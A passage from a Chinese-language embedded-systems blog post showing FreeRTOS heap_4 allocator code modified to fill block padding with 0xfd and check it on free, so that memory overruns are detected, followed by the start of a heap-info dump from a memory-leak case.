</span></span><span class="line"><span class="cl">                    <span class="n">xFreeBytesRemaining</span> <span class="o">-=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="k">if</span><span class="p">(</span> <span class="n">xFreeBytesRemaining</span> <span class="o">&lt;</span> <span class="n">xMinimumEverFreeBytesRemaining</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="n">xMinimumEverFreeBytesRemaining</span> <span class="o">=</span> <span class="n">xFreeBytesRemaining</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="k">else</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">              
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="n">_xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="n">caller</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="kt">int</span> <span class="n">_len</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="o">-</span><span class="n">_xWantedSize</span><span class="o">-</span><span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">_p</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pxBlock</span><span class="o">+</span><span class="n">_xWantedSize</span><span class="o">+</span><span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="k">while</span> <span class="p">(</span><span class="n">_len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="o">*</span><span class="n">_p</span> <span class="o">=</span> <span class="mh">0xfd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">						<span class="n">_p</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">						<span class="n">_len</span><span class="o">--</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="cm">/* The block is being returned - it is allocated and owned
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * by the application and has no &#34;next&#34; block. */</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">heapALLOCATE_BLOCK</span><span class="p">(</span> <span class="n">pxBlock</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">xNumberOfSuccessfulAllocations</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">traceMALLOC</span><span class="p">(</span> <span class="n">pvReturn</span><span class="p">,</span> <span class="n">xWantedSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">xTaskResumeAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_MALLOC_FAILED_HOOK == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">pvReturn</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">vApplicationMallocFailedHook</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif </span><span class="cm">/* if ( configUSE_MALLOC_FAILED_HOOK == 1 ) */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="nf">configASSERT</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pvReturn</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">pvReturn</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在释放内存的时候检查内存块的填充数据是否有被篡改，如果有被篡改则说明出现了内存越界问题，可以打印当前内存块的 caller 信息和 dump 整个 block 数据，然后立再触发 ASSERT。
除了在内存释放的时候检查heap是否有越界，也可以在任务上下文切换的时候检查，不过这样会增加任务调度的开销，影响任务切换的效率。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">vPortFree</span><span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">pv</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">puc</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pv</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="n">pxLink</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="n">pv</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* The memory being freed will have an BlockLink_t structure immediately
</span></span></span><span class="line"><span class="cl"><span class="cm">         * before it. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">puc</span> <span class="o">-=</span> <span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* This casting is to keep the compiler from issuing warnings. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">pxLink</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="n">puc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">configASSERT</span><span class="p">(</span> <span class="nf">heapBLOCK_IS_ALLOCATED</span><span class="p">(</span> <span class="n">pxLink</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">configASSERT</span><span class="p">(</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">heapBLOCK_IS_ALLOCATED</span><span class="p">(</span> <span class="n">pxLink</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* The block is being returned to the heap - it is no longer
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * allocated. */</span>
</span></span><span class="line"><span class="cl">                <span class="nf">heapFREE_BLOCK</span><span class="p">(</span> <span class="n">pxLink</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="cp">#if ( configHEAP_CLEAR_MEMORY_ON_FREE == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="p">(</span> <span class="kt">void</span> <span class="p">)</span> <span class="nf">memset</span><span class="p">(</span> <span class="n">puc</span> <span class="o">+</span> <span class="n">xHeapStructSize</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">xHeapStructSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">                <span class="nf">vTaskSuspendAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="kt">int</span> <span class="n">_len</span> <span class="o">=</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">-</span> <span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">_p</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pxLink</span> <span class="o">+</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">+</span> <span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">while</span> <span class="p">(</span><span class="n">_len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">_p</span> <span class="o">!=</span> <span class="mh">0xfd</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;mem crash,block:0x%p,caller: 0x%p, 0x%02x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">pxLink</span><span class="p">,</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">caller</span><span class="p">,</span> <span class="o">*</span><span class="n">_p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="nf">configASSERT</span><span class="p">(</span> <span class="p">(</span><span class="o">*</span><span class="n">_p</span> <span class="o">==</span> <span class="mh">0xfd</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">					<span class="n">_p</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">_len</span><span class="o">--</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* Add this block to the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">                    <span class="n">xFreeBytesRemaining</span> <span class="o">+=</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">traceFREE</span><span class="p">(</span> <span class="n">pv</span><span class="p">,</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">prvInsertBlockIntoFreeList</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pxLink</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="n">xNumberOfSuccessfulFrees</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/*( void ) */</span><span class="nf">xTaskResumeAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>增加 heap info 信息会增加内存分配的开销，导致实际可以使用的 heap 内存变小，在内存较小的机器，应在正式软件上关闭 heap info 信息，以节省内存。</p>
<h2 id="heap-info-调试案例">heap info 调试案例</h2>
<h3 id="内存泄漏问题案例">内存泄漏问题案例</h3>
<h4 id="案例1">案例1</h4>
<p>打开 mqtt 之前的 heap info：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span><span class="lnt">463
</span><span class="lnt">464
</span><span class="lnt">465
</span><span class="lnt">466
</span><span class="lnt">467
</span><span class="lnt">468
</span><span class="lnt">469
</span><span class="lnt">470
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">address: 0x40aae8
</span></span><span class="line"><span class="cl">size: <span class="m">152856</span>
</span></span><span class="line"><span class="cl">avail: <span class="m">45288</span>
</span></span><span class="line"><span class="cl">pool_start: 0x40aae8
</span></span><span class="line"><span class="cl">pool_end: 0x42fff0
</span></span><span class="line"><span class="cl">state,block_addr,user_addr,caller,blocksize,wanted_size
</span></span><span class="line"><span class="cl">U,0x40aae8,0x40abe8,0x1b695,4112,4096
